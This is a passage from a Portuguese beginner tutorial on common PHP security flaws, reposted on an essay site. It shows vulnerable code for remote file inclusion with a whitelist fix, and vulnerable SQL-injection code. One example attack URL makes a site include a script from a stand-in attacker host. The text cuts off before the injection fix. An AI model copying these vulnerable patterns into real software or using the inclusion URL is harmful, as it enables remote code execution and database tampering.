TrabalhosGratuitos.com - Trabalhos, Monografias, Artigos, Exames, Resumos de livros, Dissertações
Pesquisar

Principais Falhas De Segurança No PHP

Ensaios: Principais Falhas De Segurança No PHP. Pesquise 862.000+ trabalhos acadêmicos

Por:   •  9/5/2013  •  1.076 Palavras (5 Páginas)  •  674 Visualizações

Página 1 de 5

Principais falhas de segurança no PHP

Hoje vou falar sobre alguns erros comuns que são cometidos por programadores que estão começando agora. Resolvi fazer esse post pois vejo diariamente em fóruns de PHP pessoas com erros em scripts que possuem rombos enormes de segurança…

Não prometo deixar o seu sistema tão protegido quanto o carro do Obama mas, sem dúvida, você vai evitar que muita gente faça um estrago considerável no seu site.

Se você se identificar com algumas dessas medidas não saia correndo e se jogue da ponte… Faça os devidos ajustes e tudo ficará bem.

Cuidados com a URL – Parte I

Uma falha muito comum são aqueles sites que, tentando usar um sistema “legal”, acabam abusando da sorte… São sites que incluem o conteúdo (via include()) baseado em uma variável do método $_GET. Exemplo:

01 <?php

02 // Verifica se a variável $_GET['pagina'] existe

03 if (isset($_GET['pagina'])) {

04 // Pega o valor da variável $_GET['pagina']

05 $arquivo = $_GET['pagina'];

06 } else {

07 // Se não existir variável, define um valor padrão

08 $arquivo = 'home.php';

09 }

10 include ($arquivo); // Inclui o arquivo

11 ?>

E na URL do site ficaria:

http://www.meusite.com.br/?pagina=contato.php

Com isso o “invasor” pode, por exemplo, colocar um caminho de um script externo no lugar da variável:

http://www.meusite.com.br/?pagina=http://sitedumal.net/deleta-banco.php

O seu site incluiria o arquivo normalmente e executaria tudo que existe dentro dele… O resto você já pode imaginar.

Evitar que isso aconteça é extremamente simples: é só criar um array contendo os nomes dos arquivos que poderão ser incluídos, dessa forma:

01 <?php

02 // Define uma lista com os arquivos que poderão ser chamados na URL

03 $permitidos = array('home.php', 'produtos.php', 'contato.php', 'empresa.php');

04

05 // Verifica se a variável $_GET['pagina'] existe E se ela faz parte da lista de arquivos permitidos

06 if (isset($_GET['pagina']) AND (array_search($_GET['pagina'], $permitidos) !== false)) {

07 // Pega o valor da variável $_GET['pagina']

08 $arquivo = $_GET['pagina'];

09 } else {

10 // Se não existir variável $_GET ou ela não estiver na lista de permissões, define um valor padrão

11 $arquivo = 'home.php';

12 }

13 include ($arquivo); // Inclui o arquivo

14 ?>

Viu? Adicionamos uma única linha e mais uma condição e está tudo resolvido. Com isso, se o atacante colocar lá o site dele na URL do seu site o PHP vai identificar que a variável $_GET['pagina'] existe mas não está no array $permitidos, então ele vai incluir o arquivo home.php.

Cuidados com a URL – Parte II

Outro erro comum é quando passamos parâmetros pela URL, por exemplo: o ID de uma categoria ou de um produto que, mais tarde, será buscado direto no banco para recolher algumas informações.

Geralmente o formato é o seguinte:

http://www.meusite.com.br/produtos.php?id=12

ou

http://www.meusite.com.br/?pagina=produtos.php&id=12

Com isso (se você não se preparar) você deixa uma porta aberta para um ataque famoso chamado SQL-Injection que nada mais é do que a inserção de um código SQL em um campo de texto ou parâmetro da URL que será enviado diretamente para o banco. Vamos a um exemplo:

01 <?php

02 // Formato da URL:

03 // http://www.meusite.com.br/produtos.php?id=12

04

05 // Salva o parâmetro da URL numa variável

06 $produto = $_GET['id'];

07

08 // Monta a consulta MySQL

09 $sql = "SELECT * FROM `produtos` WHERE `id` = '".$produto."' LIMIT 1";

10

11 // Executa a query

12 $query = mysql_query($sql);

13

...

Baixar como (para membros premium)  txt (6.7 Kb)  
Continuar por mais 4 páginas »
Disponível apenas no TrabalhosGratuitos.com